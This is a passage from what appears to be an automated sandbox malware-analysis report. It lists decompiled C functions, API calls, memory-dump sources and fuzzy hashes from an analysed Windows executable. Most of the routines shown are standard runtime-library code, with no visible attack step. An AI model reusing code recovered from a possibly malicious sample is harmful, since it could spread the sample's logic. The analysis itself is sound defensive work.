							_t13 = _t18;
						} else {
							L3:
							_t13 = 0;
							L4:
							_t18 = _t13;
						}
					}
				}
				SetLastError(_t21);
				asm("sbb edi, edi");
				return  ~_t18 & _t13;
			}

0x0040eed2
0x0040eed4
0x0040eed9
0x0040eedc
0x0040eefa
0x0040eefd
0x0040ef02
0x0040ef04
0x00000000
0x0040ef06
0x0040ef12
0x0040ef16
0x0040ef18
0x0040ef3d
0x0040ef3f
0x0040ef58
0x0040ef5f
0x00000000
0x0040ef41
0x0040ef41
0x0040ef4a
0x0040ef4f
0x00000000
0x0040ef4f
0x0040ef1a
0x0040ef1a
0x0040ef1a
0x0040ef23
0x0040ef28
0x0040ef29
0x0040ef29
0x00000000
0x0040ef2e
0x0040ef18
0x0040eede
0x0040eee4
0x0040eee8
0x0040eef5
0x00000000
0x0040eeea
0x0040eeed
0x0040ef67
0x0040ef67
0x0040eeef
0x0040eeef
0x0040eeef
0x0040eef1
0x0040eef1
0x0040eef1
0x0040eeed
0x0040eee8
0x0040ef6a
0x0040ef72
0x0040ef7b

APIs

GetLastError.KERNEL32(?,?,?,00409391,0040FE9E,?,?,00405675,?,?,?,?,?,00401137,?,?), ref: 0040EECC
_free.LIBCMT ref: 0040EF29
_free.LIBCMT ref: 0040EF5F
SetLastError.KERNEL32(00000000,00000008,000000FF,?,?,00405675,?,?,?,?,?,00401137,?,?), ref: 0040EF6A

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 310bcfef44c88826a718bfb76195bf509795325932488ef616a8e145ad3b0c07
Instruction ID: 61ecb9eac0be319e71e2b2a662e740172854089fa4c3ef3773297f37f6a039f4
Opcode Fuzzy Hash: 310bcfef44c88826a718bfb76195bf509795325932488ef616a8e145ad3b0c07
Instruction Fuzzy Hash: 3A1106327005017AD6206277DCC2D2F356A97C5379B24063BF618F66E2DE3D9C26555C

Uniqueness

Uniqueness Score: -1.00%

Function 0270F32E Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,027097F8,02710305,?,?,02705ADC,?,?,?,?,?,0270159E,?,?), ref: 0270F333
_free.LIBCMT ref: 0270F390
_free.LIBCMT ref: 0270F3C6
SetLastError.KERNEL32(00000000,0042C190,000000FF,?,?,02705ADC,?,?,?,?,?,0270159E,?,?), ref: 0270F3D1

Memory Dump Source

Source File: 00000001.00000002.260434500.0000000002700000.00000040.00001000.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2700000_11.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 178950982e01e08c21bfbdda1ab1fc8030fa3ab6c0936624d41fd10e634221b3
Instruction ID: 07e43e890f804f533040a97080e11931f869e4c019a64a77f34bff707a7e476e
Opcode Fuzzy Hash: 178950982e01e08c21bfbdda1ab1fc8030fa3ab6c0936624d41fd10e634221b3
Instruction Fuzzy Hash: F6114872304200EBC73226745CC8E3F66DBABC7778B250235F614939E0DF648C1E89AA

Uniqueness

Uniqueness Score: -1.00%

Function 004027E2 Relevance: 6.1, APIs: 4, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E004027E2(void* __ebx, void* __edx, void* __edi, void* __eflags, intOrPtr _a4) {
				signed int _v8;
				char _v12;
				int _v16;
				void* _v20;
				char _v40;
				intOrPtr _v44;
				int __esi;
				signed int _t17;
				void* _t32;
				intOrPtr* _t39;
				int _t42;
				void* _t43;
				void* _t45;
				void* _t46;
				intOrPtr* _t47;
				signed int _t50;
				signed int _t53;

				_t40 = __edx;
				_t50 = _t53;
				_t17 =  *0x42c014; // 0xee6350c6
				_v8 = _t17 ^ _t50;
				_push(__ebx);
				_push(__edi);
				E00402A53( &_v12, 0);
				_t42 =  *0x4585e8; // 0x9f7350
				_v16 = _t42;
				_t45 = E00401735(_a4, E004016A4(_a4, 0x457904, __edx, _t42));
				if(_t45 != 0) {
					L6:
					E00402AAB( &_v12);
					_pop(_t43);
					_pop(_t46);
					__eflags = _v8 ^ _t50;
					_pop(_t32);
					return E00404A89(_t45, _t32, _v8 ^ _t50, _t40, _t43, _t46);
				} else {
					__eflags = __edi;
					if(__edi == 0) {
						__eax =  &_v16;
						__eax = E00401775(__ebx,  &_v16, __ebx);
						_pop(__ecx);
						_pop(__ecx);
						__eflags = __eax - 0xffffffff;
						if(__eflags == 0) {
							__eax = E0040157A();
							asm("int3");
							__eax = _v20;
							__ecx = __eax + 0x23;
							__eflags = __ecx - __eax;
							if(__eflags <= 0) {
								_push(_t50);
								_t39 =  &_v40;
								E004011BC(_t39);
								E00405DDA( &_v40, 0x42aac4);
								asm("int3");
								_push(_t45);
								_t47 = _t39;
								E0040114A(_t39, _v44);
								 *_t47 = 0x41d234;
								return _t47;
							} else {
								__eax = E00404A97(__esi, __eflags, __ecx);
								_pop(__ecx);
								__ecx = __eax;
								__eflags = __ecx;
								if(__eflags == 0) {
									_push(__esi);
									__esi = __esi ^ __esi;
									__eax = E0040924E(__ecx, __esi, __eflags, __esi, __esi, __esi, __esi, __esi);
									_push(__esi);
									_push(__esi);
									_push(__esi);
									_push(__esi);
									_push(__esi);
									L13();
									asm("int3");
									__eax = IsProcessorFeaturePresent(0x17);
									__eflags = __eax;
									if(__eax != 0) {
										__ecx = 5;
										asm("int 0x29");
									}
									__esi = 0xc0000417;
									__eax = E00409106(__ebx, __edx, 0xc0000417, 2, 0xc0000417, 1);
									__eax = GetCurrentProcess();
									__eax = TerminateProcess(__eax, 0xc0000417);
									__esi = __esi;
									return __eax;
								} else {
									_t15 = __ecx + 0x23; // 0x23
									__eax = _t15;
									__eax = _t15 & 0xffffffe0;
									__eflags = __eax;
									 *(__eax - 4) = __ecx;
									return __eax;
								}
							}
						} else {
							__esi = _v16;
							E00402D57(__eflags, __esi) =  *__esi;
							__ecx = __esi;
							__eax =  *((intOrPtr*)( *__esi + 4))();
							 *0x4585e8 = __esi;
							goto L6;
						}
					} else {
						__esi = __edi;
						goto L6;
					}
				}
			}

0x004027e2
0x004027e3
0x004027e8
0x004027ef
0x004027f2
0x004027fa
0x004027fd
0x00402802
0x0040280d
0x0040281d
0x00402821
0x00402853
0x00402856
0x00402860
0x00402861
0x00402862
0x00402864
0x0040286b
0x00402823
0x00402823
0x00402825
0x0040282b
0x00402830
0x00402835
0x00402836
0x00402837
0x0040283a
0x0040286c
0x00402871
0x00402872
0x00402876
0x00402879
0x0040287b
0x004011d4
0x004011da
0x004011dd
0x004011eb
0x004011f0
0x004011f1
0x004011f6
0x004011f8
0x004011fd
0x00401206
0x00402881
0x00402882
0x00402887
0x00402888
0x0040288a
0x0040288c
0x004092c4
0x004092c5
0x004092cc
0x004092d4
0x004092d5
0x004092d6
0x004092d7
0x004092d8
0x004092d9
0x004092de
0x004092e1
0x004092e7
0x004092e9
0x004092ed
0x004092ee
0x004092ee
0x004092f3
0x004092fb
0x00409304
0x0040930b
0x00409311
0x00409312
0x0040288e
0x0040288e
0x0040288e
0x00402891
0x00402891
0x00402894
0x00402897
0x00402897
0x0040288c
0x0040283c
0x0040283c
0x00402845
0x00402848
0x0040284a
0x0040284d
0x00000000
0x0040284d
0x00402827
0x00402827
0x00000000
0x00402827
0x00402825

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 004027FD

Part of subcall function 004016A4: std::_Lockit::_Lockit.LIBCPMT ref: 004016C0
Part of subcall function 004016A4: std::_Lockit::~_Lockit.LIBCPMT ref: 004016DC

std::_Facet_Register.LIBCPMT ref: 00402840
std::_Lockit::~_Lockit.LIBCPMT ref: 00402856
Concurrency::cancel_current_task.LIBCPMT ref: 0040286C

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: c3285bc4778d090d335f6dad5d55b7ec74a2205400d6d077668bdd3bcf9ebf50
Instruction ID: be356c3e2056b29ef9efecf04eec28b2718fb1a32b96ffb1afa9c6883e41e92d
Opcode Fuzzy Hash: c3285bc4778d090d335f6dad5d55b7ec74a2205400d6d077668bdd3bcf9ebf50
Instruction Fuzzy Hash: 7E012B76E00118ABC710FFA5DD899AE73B49F84358B1041BFE511B72D1DE789D068B5C

Uniqueness

Uniqueness Score: -1.00%

Function 02702C49 Relevance: 6.1, APIs: 4, Instructions: 56COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 02702C64

Part of subcall function 02701B0B: std::_Lockit::_Lockit.LIBCPMT ref: 02701B27
Part of subcall function 02701B0B: std::_Lockit::~_Lockit.LIBCPMT ref: 02701B43

std::_Facet_Register.LIBCPMT ref: 02702CA7
std::_Lockit::~_Lockit.LIBCPMT ref: 02702CBD
Concurrency::cancel_current_task.LIBCPMT ref: 02702CD3

Memory Dump Source

Source File: 00000001.00000002.260434500.0000000002700000.00000040.00001000.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2700000_11.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 169c10dc9c782aa4ce0c7cb2d6c331c1c9b77fb52a2cc0127c794852c874b216
Instruction ID: cf51830b89ad4ca83443284fdb1ec3247da49247141effd26755c763a46ec687
Opcode Fuzzy Hash: 169c10dc9c782aa4ce0c7cb2d6c331c1c9b77fb52a2cc0127c794852c874b216
Instruction Fuzzy Hash: 8501DB36A00118EBC716EBA4DCCC9AE77E69F44310B504569DD15973C1EF309D0D8F94

Uniqueness

Uniqueness Score: -1.00%

Function 027052EF Relevance: 6.0, APIs: 4, Instructions: 32timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 02705309
GetCurrentThreadId.KERNEL32 ref: 02705318
GetCurrentProcessId.KERNEL32 ref: 02705321
QueryPerformanceCounter.KERNEL32(?), ref: 0270532E

Memory Dump Source

Source File: 00000001.00000002.260434500.0000000002700000.00000040.00001000.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2700000_11.jbxd

Yara matches

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 9e79eb9263716351b5c6b3b881e0d11d69bbca4b2d8f5713e0c536ff59b15aaf
Instruction ID: 133e16ca1d7b5778562ad7eb1a014abfa076595758fad6d68f54a3b6d2d530fa
Opcode Fuzzy Hash: 9e79eb9263716351b5c6b3b881e0d11d69bbca4b2d8f5713e0c536ff59b15aaf
Instruction Fuzzy Hash: 9BF0E2B4C1120CEFCB05DBF0DA49ADEBBB4EF08305F5188A6D502EB550D734AB058B55

Uniqueness

Uniqueness Score: -1.00%

Function 0041B4B8 Relevance: 6.0, APIs: 4, Instructions: 29
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0041B4B8(void* _a4, long _a8, DWORD* _a12) {
				void* _t13;

				_t13 = WriteConsoleW( *0x42ca60, _a4, _a8, _a12, 0);
				if(_t13 == 0 && GetLastError() == 6) {
					E0041B4A1();
					E0041B463();
					_t13 = WriteConsoleW( *0x42ca60, _a4, _a8, _a12, _t13);
				}
				return _t13;
			}

0x0041b4d5
0x0041b4d9
0x0041b4e6
0x0041b4eb
0x0041b506
0x0041b506
0x0041b50c

APIs

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,00000000,?,0041A50C,00000000,00000001,00000000,00000000,?,004119D4,?,00000000,00000000), ref: 0041B4CF
GetLastError.KERNEL32(?,0041A50C,00000000,00000001,00000000,00000000,?,004119D4,?,00000000,00000000,?,00000000,?,00411F20,?), ref: 0041B4DB

Part of subcall function 0041B4A1: CloseHandle.KERNEL32(FFFFFFFE,0041B4EB,?,0041A50C,00000000,00000001,00000000,00000000,?,004119D4,?,00000000,00000000,?,00000000), ref: 0041B4B1

___initconout.LIBCMT ref: 0041B4EB

Part of subcall function 0041B463: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0041B492,0041A4F9,00000000,?,004119D4,?,00000000,00000000,?), ref: 0041B476

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,?,0041A50C,00000000,00000001,00000000,00000000,?,004119D4,?,00000000,00000000,?), ref: 0041B500

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 245c0b04ac87009882f6f7de166a43e3571cc51791cf2b81c3ed718b9760e7d9
Instruction ID: a022170bcf7d69618d577f40f4c504824cf93e7e2564660d92559419ae8fb7fb
Opcode Fuzzy Hash: 245c0b04ac87009882f6f7de166a43e3571cc51791cf2b81c3ed718b9760e7d9
Instruction Fuzzy Hash: 74F03036500118BBCF221F95DC05ECE3F66FB487B4F508021FE0995131C73689A09BD8

Uniqueness

Uniqueness Score: -1.00%

Function 0271B91F Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,00000000,?,0271A973,00000000,00000001,00000000,00000000,?,02711E3B,?,00000000,00000000), ref: 0271B936
GetLastError.KERNEL32(?,0271A973,00000000,00000001,00000000,00000000,?,02711E3B,?,00000000,00000000,?,00000000,?,02712387,?), ref: 0271B942

Part of subcall function 0271B908: CloseHandle.KERNEL32(0042CA60,0271B952,?,0271A973,00000000,00000001,00000000,00000000,?,02711E3B,?,00000000,00000000,?,00000000), ref: 0271B918

___initconout.LIBCMT ref: 0271B952

Part of subcall function 0271B8CA: CreateFileW.KERNEL32(00428560,40000000,00000003,00000000,00000003,00000000,00000000,0271B8F9,0271A960,00000000,?,02711E3B,?,00000000,00000000,?), ref: 0271B8DD

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,?,0271A973,00000000,00000001,00000000,00000000,?,02711E3B,?,00000000,00000000,?), ref: 0271B967

Memory Dump Source

Source File: 00000001.00000002.260434500.0000000002700000.00000040.00001000.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2700000_11.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 245c0b04ac87009882f6f7de166a43e3571cc51791cf2b81c3ed718b9760e7d9
Instruction ID: f2bde7e37e83800089fcb85b82797c59a0b97c7300e4de402f5ddd5376f2167d
Opcode Fuzzy Hash: 245c0b04ac87009882f6f7de166a43e3571cc51791cf2b81c3ed718b9760e7d9
Instruction Fuzzy Hash: 63F0A536900258BBCF226F99DC09BDA3F66FF487B5B548020FA1996130C63289619B98

Uniqueness

Uniqueness Score: -1.00%

Function 027052F7 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 02705309
GetCurrentThreadId.KERNEL32 ref: 02705318
GetCurrentProcessId.KERNEL32 ref: 02705321
QueryPerformanceCounter.KERNEL32(?), ref: 0270532E

Memory Dump Source

Source File: 00000001.00000002.260434500.0000000002700000.00000040.00001000.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2700000_11.jbxd

Yara matches

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 9f70a82f0be08b9805ba11371c95e335b4b3a05d9ee0fc4ce4bd7d9a7580274e
Instruction ID: 1c8f5b7df09e4c6b8391a0fd2cc2f65e0fde4eb0632d73df8c47d105708bc807
Opcode Fuzzy Hash: 9f70a82f0be08b9805ba11371c95e335b4b3a05d9ee0fc4ce4bd7d9a7580274e
Instruction Fuzzy Hash: 9CF0AFB0C11208EFCB00DBB0CA49ADEBBF8EF1C305F5188A59402E7110D734AB058B54

Uniqueness

Uniqueness Score: -1.00%

Function 0040E169 Relevance: 6.0, APIs: 4, Instructions: 19
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E169() {

				E0040F644( *0x4584cc);
				 *0x4584cc = 0;
				E0040F644( *0x4584d0);
				 *0x4584d0 = 0;
				E0040F644( *0x4581a4);
				 *0x4581a4 = 0;
				E0040F644( *0x4581a8);
				 *0x4581a8 = 0;
				return 1;
			}

0x0040e172
0x0040e17f
0x0040e185
0x0040e190
0x0040e196
0x0040e1a1
0x0040e1a7
0x0040e1af
0x0040e1b8

APIs

_free.LIBCMT ref: 0040E172

Part of subcall function 0040F644: HeapFree.KERNEL32(00000000,00000000,?,004173D6,?,00000000,?,?,?,00417679,?,00000007,?,?,00417B6C,?), ref: 0040F65A
Part of subcall function 0040F644: GetLastError.KERNEL32(?,?,004173D6,?,00000000,?,?,?,00417679,?,00000007,?,?,00417B6C,?,?), ref: 0040F66C

_free.LIBCMT ref: 0040E185
_free.LIBCMT ref: 0040E196
_free.LIBCMT ref: 0040E1A7

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 44c0b43f2f512d88e16cdf708fdb458a0a50ed86014adce341e9c0f45161e1d2
Instruction ID: eaf8e0348470d719f6472f5bb116cece6f67ff8cbe1054badda4755febf35565
Opcode Fuzzy Hash: 44c0b43f2f512d88e16cdf708fdb458a0a50ed86014adce341e9c0f45161e1d2
Instruction Fuzzy Hash: AAE01270800B21ABD622BF12FC0250A3A25AB2670A300063EF80436233DF3A90179BCC

Uniqueness

Uniqueness Score: -1.00%

Function 0270E5D0 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0270E5D9

Part of subcall function 0270FAAB: HeapFree.KERNEL32(00000000,00000000,?,0271783D,?,00000000,?,?,?,02717AE0,?,00000007,?,?,02717FD3,?), ref: 0270FAC1
Part of subcall function 0270FAAB: GetLastError.KERNEL32(?,?,0271783D,?,00000000,?,?,?,02717AE0,?,00000007,?,?,02717FD3,?,?), ref: 0270FAD3

_free.LIBCMT ref: 0270E5EC
_free.LIBCMT ref: 0270E5FD
_free.LIBCMT ref: 0270E60E

Memory Dump Source

Source File: 00000001.00000002.260434500.0000000002700000.00000040.00001000.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2700000_11.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 44c0b43f2f512d88e16cdf708fdb458a0a50ed86014adce341e9c0f45161e1d2
Instruction ID: 1f54f6d3dc042ff8f1005ef5f953ed607f044b1080f6bee53879458373da118b
Opcode Fuzzy Hash: 44c0b43f2f512d88e16cdf708fdb458a0a50ed86014adce341e9c0f45161e1d2
Instruction Fuzzy Hash: C6E04FB0402721EF9612AF11FC444463AA6AB86752300422DE80436232DF31801ADFDE

Uniqueness

Uniqueness Score: -1.00%

Function 00402070 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 194
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00402070(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t84;
				intOrPtr _t85;
				intOrPtr _t87;
				intOrPtr _t95;
				signed int _t99;
				intOrPtr _t100;
				intOrPtr _t101;
				intOrPtr _t102;
				signed int _t108;
				intOrPtr _t109;
				intOrPtr _t110;
				signed short _t112;
				intOrPtr _t114;
				intOrPtr _t124;
				intOrPtr _t125;
				signed short _t127;
				signed int _t133;
				intOrPtr* _t135;
				signed int _t138;
				signed int _t150;
				signed int _t154;
				signed int _t155;
				intOrPtr _t160;
				signed int _t161;
				signed int _t162;
				char* _t165;
				void* _t166;
				signed int _t168;
				signed int _t170;

				_push(0x4c);
				E00404DE4(0x41c3ca, __ebx, __edi, __esi);
				 *(_t166 - 0x24) = "hidden person Ai93 zi12";
				 *((intOrPtr*)(_t166 - 0x2c)) = 0x457930;
				 *(_t166 - 0x18) = 0;
				 *(_t166 - 0x1c) = 0;
				_t133 = E00409060("hidden person Ai93 zi12");
				 *(_t166 - 0x20) = _t133;
				 *(_t166 - 0x30) = 0;
				_t84 =  *0x457930; // 0x41d38c
				_t7 = _t84 + 4; // 0x8
				_t85 =  *_t7;
				_t8 = _t85 + 0x457950; // 0x0
				_t160 =  *_t8;
				_t9 = _t85 + 0x457954; // 0x0
				_t154 =  *_t9;
				_t168 = _t154;
				if(_t168 < 0 || _t168 <= 0 && _t160 <= 0) {
					L7:
					asm("xorps xmm0, xmm0");
					asm("movlpd [ebp-0x48], xmm0");
					_t154 =  *(_t166 - 0x44);
					_t161 =  *(_t166 - 0x48);
				} else {
					_t170 = _t154;
					if(_t170 < 0 || _t170 <= 0 && _t160 <= _t133) {
						goto L7;
					} else {
						_t161 = _t160 - _t133;
						asm("sbb edi, edx");
					}
				}
				 *(_t166 - 0x28) = _t161;
				 *(_t166 - 0x14) = _t154;
				E00402510(_t166 - 0x50,  *((intOrPtr*)(_t166 - 0x2c)));
				if( *((intOrPtr*)(_t166 - 0x4c)) != 0) {
					 *(_t166 - 4) = 0;
					_t87 =  *0x457930; // 0x41d38c
					_t18 = _t87 + 4; // 0x8
					_t19 =  *_t18 + 0x457960; // 0xa05618
					_t135 =  *((intOrPtr*)( *_t19 + 4));
					 *((intOrPtr*)(_t166 - 0x38)) = _t135;
					 *((intOrPtr*)( *_t135 + 4))();
					 *((intOrPtr*)(_t166 - 0x34)) = E004027E2(0, 0, _t154, __eflags, _t166 - 0x3c);
					E00401704(_t166 - 0x3c);
					_t95 =  *0x457930; // 0x41d38c
					_t26 = _t95 + 4; // 0x8
					_t27 =  *_t26 + 0x457944; // 0x201
					__eflags = ( *_t27 & 0x000001c0) - 0x40;
					if(( *_t27 & 0x000001c0) == 0x40) {
						L17:
						_t155 = 4;
						_t150 = 0;
					} else {
						while(1) {
							__eflags = _t154;
							if(__eflags < 0) {
								goto L17;
							}
							if(__eflags > 0) {
								L14:
								_t124 =  *0x457930; // 0x41d38c
								_t28 = _t124 + 4; // 0x8
								_t125 =  *_t28;
								_t29 = _t125 + 0x457968; // 0x457980
								_t30 = _t125 + 0x457970; // 0x20
								_t127 = E004024C1( *_t29,  *_t30 & 0x0000ffff);
								__eflags = 0xffff - (_t127 & 0x0000ffff);
								if(0xffff != (_t127 & 0x0000ffff)) {
									_t161 = _t161 + 0xffffffff;
									 *(_t166 - 0x28) = _t161;
									 *(_t166 - 0x48) = _t161;
									asm("adc edi, 0xffffffff");
									 *(_t166 - 0x14) = _t154;
									 *(_t166 - 0x44) = _t154;
									continue;
								} else {
									_t155 = 4;
									_t150 = _t155;
									 *(_t166 - 0x18) = _t150;
									 *(_t166 - 0x1c) = _t150;
								}
							} else {
								__eflags = _t161;
								if(_t161 <= 0) {
									goto L17;
								} else {
									goto L14;
								}
							}
							goto L18;
						}
						goto L17;
					}
					L18:
					_t99 =  *(_t166 - 0x20);
					_t138 = 0;
					while(1) {
						__eflags = _t150;
						if(_t150 != 0) {
							break;
						}
						__eflags = _t138;
						if(__eflags < 0) {
							L24:
							_t162 =  *(_t166 - 0x28);
							_t108 =  *(_t166 - 0x14);
							while(1) {
								__eflags = _t108;
								if(__eflags < 0) {
									goto L30;
								}
								if(__eflags > 0) {
									L28:
									_t109 =  *0x457930; // 0x41d38c
									_t59 = _t109 + 4; // 0x8
									_t110 =  *_t59;
									_t60 = _t110 + 0x457968; // 0x457980
									_t61 = _t110 + 0x457970; // 0x20
									_t112 = E004024C1( *_t60,  *_t61 & 0x0000ffff);
									__eflags = 0xffff - (_t112 & 0x0000ffff);
									if(0xffff != (_t112 & 0x0000ffff)) {
										_t162 = _t162 + 0xffffffff;
										 *(_t166 - 0x48) = _t162;
										_t108 =  *(_t166 - 0x14);
										asm("adc eax, 0xffffffff");
										 *(_t166 - 0x14) = _t108;
										 *(_t166 - 0x44) = _t108;
										_t150 =  *(_t166 - 0x18);
										continue;
									} else {
										_t150 =  *(_t166 - 0x18) | _t155;
										__eflags = _t150;
										 *(_t166 - 0x1c) = _t150;
									}
								} else {
									__eflags = _t162;
									if(_t162 > 0) {
										goto L28;
									}
								}
								goto L30;
							}
						} else {
							if(__eflags > 0) {
								L23:
								_t114 =  *0x457930; // 0x41d38c
								_t38 = _t114 + 4; // 0x8
								_t39 =  *_t38 + 0x457968; // 0x457980
								 *((char*)(_t166 - 0x38)) =  *( *(_t166 - 0x24));
								__eflags = 0xffff - (E004024C1( *_t39,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t166 - 0x34)))) + 0x30))( *((intOrPtr*)(_t166 - 0x38))) & 0x0000ffff) & 0x0000ffff);
								_t150 =  ==  ? _t155 :  *(_t166 - 0x18);
								 *(_t166 - 0x18) = _t150;
								 *(_t166 - 0x1c) = _t150;
								_t99 =  *(_t166 - 0x20) + 0xffffffff;
								 *(_t166 - 0x20) = _t99;
								 *(_t166 - 0x58) = _t99;
								_t138 =  *(_t166 - 0x30);
								asm("adc ecx, 0xffffffff");
								 *(_t166 - 0x30) = _t138;
								 *(_t166 - 0x54) = _t138;
								_t165 =  &(( *(_t166 - 0x24))[1]);
								 *(_t166 - 0x24) = _t165;
								 *(_t166 - 0x40) = _t165;
								continue;
							} else {
								__eflags = _t99;
								if(_t99 <= 0) {
									goto L24;
								} else {
									goto L23;
								}
							}
						}
						break;
					}
					L30:
					_t100 =  *0x457930; // 0x41d38c
					_t64 = _t100 + 4; // 0x8
					_t101 =  *_t64;
					 *((intOrPtr*)(_t101 + 0x457950)) = 0;
					 *((intOrPtr*)(_t101 + 0x457954)) = 0;
					 *(_t166 - 4) =  *(_t166 - 4) | 0xffffffff;
				} else {
					_t155 = 4;
					_t150 = _t155;
				}
				_t102 =  *0x457930; // 0x41d38c
				_t74 = _t102 + 4; // 0x8
				_t140 =  *_t74 +  *((intOrPtr*)(_t166 - 0x2c));
				_t156 =  !=  ? 0 : _t155;
				_t77 = _t140 + 0xc; // 0x0
				_t157 = ( !=  ? 0 : _t155) |  *_t77;
				_t158 = ( !=  ? 0 : _t155) |  *_t77 | _t150;
				E00401A94( *_t74 +  *((intOrPtr*)(_t166 - 0x2c)), ( !=  ? 0 : _t155) |  *_t77 | _t150, 0);
				E004024F5(0, _t166 - 0x50, ( !=  ? 0 : _t155) |  *_t77 | _t150, ( !=  ? 0 : _t155) |  *_t77 | _t150);
				return E00404D49( *((intOrPtr*)(_t166 - 0x2c)));
			}

0x00402070
0x00402077
0x00402081
0x00402084
0x0040208f
0x00402092
0x0040209c
0x0040209e
0x004020a3
0x004020a6
0x004020ab
0x004020ab
0x004020ae
0x004020ae
0x004020b4
0x004020b4
0x004020ba
0x004020bc
0x004020d4
0x004020d4
0x004020d7
0x004020dc
0x004020df
0x004020c4
0x004020c4
0x004020c6
0x00000000
0x004020ce
0x004020ce
0x004020d0
0x004020d0
0x004020c6
0x004020e2
0x004020e5
0x004020ee
0x004020f6
0x00402102
0x00402105
0x0040210a
0x0040210d
0x00402113
0x00402116
0x0040211b
0x00402128
0x0040212e
0x00402133
0x00402138
0x0040213b
0x00402146
0x00402149
0x0040219e
0x004021a0
0x004021a1
0x0040214b
0x0040214b
0x0040214b
0x0040214d
0x00000000
0x00000000
0x0040214f
0x00402155
0x00402155
0x0040215a
0x0040215a
0x0040215d
0x00402163
0x0040216b
0x00402178
0x0040217b
0x0040218a
0x0040218d
0x00402190
0x00402193
0x00402196
0x00402199
0x00000000
0x0040217d
0x0040217f
0x00402180
0x00402182
0x00402185
0x00402185
0x00402151
0x00402151
0x00402153
0x00000000
0x00000000
0x00000000
0x00000000
0x00402153
0x00000000
0x0040214f
0x00000000
0x0040214b
0x004021a3
0x004021a3
0x004021a6
0x004021a8
0x004021a8
0x004021aa
0x00000000
0x00000000
0x004021b0
0x004021b2
